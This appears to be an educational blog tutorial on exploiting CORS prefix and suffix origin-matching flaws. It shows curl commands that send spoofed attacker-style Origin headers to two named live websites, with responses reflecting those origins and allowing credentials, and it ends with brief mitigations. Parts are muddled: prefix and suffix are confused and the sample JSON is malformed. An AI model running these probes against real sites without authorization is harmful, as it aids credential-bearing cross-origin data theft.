Exploitation of CORS Prefix-Suffix Match

 

Exploitation of CORS Prefix-Suffix Match

 

 

In this blog we are going to see exploitation of CORS using prefix patch time.

 

What is CORS? 

 

Cross-Origin Resource Sharing

W3C working draft that defines how the browser and server must communicate when accessing sources across origins. CORS Cross Origin Resource Sharing Vulnerability on Live Website

Implemented via HTTP headers that servers set and browsers enforce.

 


Prefix Time


So the target URL is on hakonindia.org and here in we are going to add evil.com at the end of this website so this attack that is known as prefix match exploitation of CORS.

So here in while testing, I noticed that whenever I try to supply any arbitary origin and have "hakonindia", it does not take it, so if I type origin attacker.com and send it it does not take it why because the website developer has kept a condition at in origin "hakonindia" should come so when I tried "evilhakonindia.org" it did not allow me so basically the condition is like that that anything you cannot be added before the hostname for the website name if i do any modifications before the hostname that is "hakonindia.org" it does not take that and just block set but then I tried this condition in which I added the attacker.com or evil.com at the end and I was able to successfully achieved cause onto this website as this court deflected into the response as it is so what does this mean any attacker can purchase this website which is evil.com and make a subdomain and again a subdomain of that and do a successful exploitation of CORS on this website.

 



Here, attacker purchase this domain evil.com and make a subdomain like org.evil.com or hakonindia.org.evil.com


{
"url":"http://www.hackonindia.org/wp-json",
"credentials":"true"
"type":"prefix_match",
"origin":"http://www.hackonindia.org.evil.com",
"status_code":200

}





here i am going to search curl and the target name is "https://www.hakonindia.org/wp-json" and (-I) because i want to see only response header.



  

┌──(hackerboy㉿KumarAtulJaiswal)-[~]
└─$ curl "http://www.hakonindia.org/wp-json" -I
HTTP/1.1 200 OK
Server: openresty
Date: Mon, 05 Jul 2021 09:54:12 GMT
Content-Type: text/html
Content-Length: 2522
Link: ; rel="https://api.w.org/"
Last-Modified: Wed, 30 Jun 2021 20:13:11 GMT
ETag: "60dcd057-9da"
X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_h9TJjf2T0dlkB77Ad+JYCrUtON4BPa50Qc8EQUp5to4dVGLqj43LWzNK8QSe/JUO6hQ9MyNONTDY6tVQgatLTA
Set-Cookie: system=PW;Path=/;Max-Age=86400;
Set-Cookie: caf_ipaddr=47.29.121.166;Path=/;Max-Age=86400;
Set-Cookie: country=IN;Path=/;Max-Age=86400;
Set-Cookie: city="Patna";Path=/;Max-Age=86400;
Set-Cookie: traffic_target=reseller;Path=/;Max-Age=86400;
Accept-Ranges: bytes
Via: 1.1 google

┌──(hackerboy㉿KumarAtulJaiswal)-[~]
└─$




As you can see i am able to see the reponse header and now i add attacker.com into the origin.



-H which means header and the header we are going to the gives origin hakonindia.org.evil.com and i will hit enter so as you can see this it is getting reflected as we gave into the request it is getting reflected into the response as it as. So as you can see allow access control origin hakonindia.org.evil.com and in access control allow credentials giving true which means this is the best case we have got, we are able to exploit this.





  

┌──(hackerboy㉿KumarAtulJaiswal)-[~]
└─$ curl "http://www.hakonindia.org/wp-json" -I -H Origin:hakonindia.org.evil.com
HTTP/1.1 200 OK
Server: openresty
Date: Mon, 05 Jul 2021 09:54:12 GMT
Content-Type: text/html
Content-Length: 2522
Last-Modified: Wed, 30 Jun 2021 20:13:11 GMT
ETag: "60dcd057-9da"
X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_h9TJjf2T0dlkB77Ad+JYCrUtON4BPa50Qc8EQUp5to4dVGLqj43LWzNK8QSe/JUO6hQ9MyNONTDY6tVQgatLTA
Set-Cookie: system=PW;Path=/;Max-Age=86400;
Set-Cookie: caf_ipaddr=47.29.121.166;Path=/;Max-Age=86400;
Set-Cookie: country=IN;Path=/;Max-Age=86400;
Set-Cookie: city="Patna";Path=/;Max-Age=86400;
Set-Cookie: traffic_target=reseller;Path=/;Max-Age=86400;
Access-Control-Allow-Origin: http://hakonindia.org.evil.com
Access-Control-Allow-Methods: OPTIONS, GET, POST, PUT, PATCH, DELETE
Access-Control-Allow-Credentials: true
Vary: Origin, User-Agent
Accept-Ranges: bytes
Via: 1.1 google

┌──(hackerboy㉿KumarAtulJaiswal)-[~]
└─$



 

Suffix Time

 

The type suffix match, so in here as you can the URL and target is this "https:ukrainianpeople.us/wp-json/".


Now if you look closely in the origin what i am going to supply is "evilukrainianpeople.us" because guys some websites for block trusting arbitrary attackers website that is evil.com. How do they do it basically the developer put the logic that any origin which is coming any request which is coming with any origin to the server should contain the hostname which is the the host wesbites name is "ukrainianpeople" but it does not check if the attacker is adding something into the suffix with the host name of the website and sending something so as you can see here you are able to bypass this condition on the website where the website was checking that ukrainianpeople should come into the origin by adding evil with that now when will send this evilukrainianeople.us that us the website is going to trust this why it because the condition only checks that ukrainianpeople.us comes into the origin which is satisfied and successfully this will get reflected in the response now the attacker can quickly go and purchase this domain which is evilukrainianpeople.us and then he can to the further cost exploitation attack.



  

{
"url":"https://ukrainianpeople.us/wp-json",
"credentials":"true"
"type":"prefix_match",
"origin":"https://evilukrainianpeople.us",
"status_code":200

}


  

┌──(hackerboy㉿KumarAtulJaiswal)-[~]
└─$ curl "https://ukrainianpeople.us/wp-json" -I 1 ⨯
HTTP/2 200
date: Mon, 05 Jul 2021 10:19:56 GMT
server: Apache
x-powered-by: PHP/7.2.34
vary: Accept-Encoding,Cookie,User-Agent
x-robots-tag: noindex
link: ; rel="https://api.w.org/"
x-content-type-options: nosniff
access-control-expose-headers: X-WP-Total, X-WP-TotalPages
access-control-allow-headers: Authorization, Content-Type
allow: GET
cache-control: max-age=172800
expires: Wed, 07 Jul 2021 10:19:56 GMT
content-type: application/json; charset=UTF-8

┌──(hackerboy㉿KumarAtulJaiswal)-[~]
└─$







I am going to start with curl and our target is "https://ukrainianpeople.us/wp-json" and (-I) and i want to see only response header. Now as you can see these our headers, they are come from webservers. Now we are add our arbitary origin that is attacker.com and we will make the website trust us. so (-H) means headers. The headers name is origin and trust "evilukrainianpeople.us".




  

┌──(hackerboy㉿KumarAtulJaiswal)-[~]
└─$ curl "https://ukrainianpeople.us/wp-json" -I -H Origin:evilukrainianpeople.us
HTTP/2 200
date: Mon, 05 Jul 2021 10:20:54 GMT
server: Apache
x-powered-by: PHP/7.2.34
vary: Accept-Encoding,Cookie,Origin,User-Agent
x-robots-tag: noindex
link: ; rel="https://api.w.org/"
x-content-type-options: nosniff
access-control-expose-headers: X-WP-Total, X-WP-TotalPages
access-control-allow-headers: Authorization, Content-Type
allow: GET
access-control-allow-origin: http://evilukrainianpeople.us
access-control-allow-methods: OPTIONS, GET, POST, PUT, PATCH, DELETE
access-control-allow-credentials: true
cache-control: max-age=172800
expires: Wed, 07 Jul 2021 10:20:54 GMT
content-type: application/json; charset=UTF-8

┌──(hackerboy㉿KumarAtulJaiswal)-[~]
└─$





And as you can access-control-allow-origin and our origin has reflected and the credentails are also true. 






Brought to you by Hacking Truth


 

 

CORS Mitigation


1) SOP! Same Origin Policy
2) Do not trust any aribitary origin and communication with it!




what are the mitigations for CORS.

1) So the first and the best mitigations for CORS is SOP the same origin policy. so this policy means this policy means that the web site or the web application should not transfer any kind of data to any other web application so it should only communicate and transfer the data with the same origin for same website.


2) Do not trust any arbitrary origin and communicate with that if any web application is getting any origin header as a request that should not trust that arbitrary header and give out sensitive information basically whenever attacker tries to do a reflective origin based CORS the server should discard that I should not trusted and should not give out the response to that server. Secondly if a suffix or prefix based cause exploitation is performed the server should do proper validation not just limited to checking the hostname into the origin we have already seen if the server is misconfigured and just check for the name into the origin header and takes decisions based on that which is dangerous can lead to CORS exploitation. So do not trust any arbitrary origin and communicate with it is the best mitigation for CORS. so I hope you understood the mitigation for CORS.




Disclaimer

 

All tutorials are for informational and educational purposes only and have been made using our own routers, servers, websites and other vulnerable free resources. we do not contain any illegal activity. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. Hacking Truth is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used. We do not promote, encourage, support or excite any illegal activity or hacking.



  - Hacking Truth by Kumar Atul Jaiswal


Post a Comment

Previous Post Next Post

Contact Form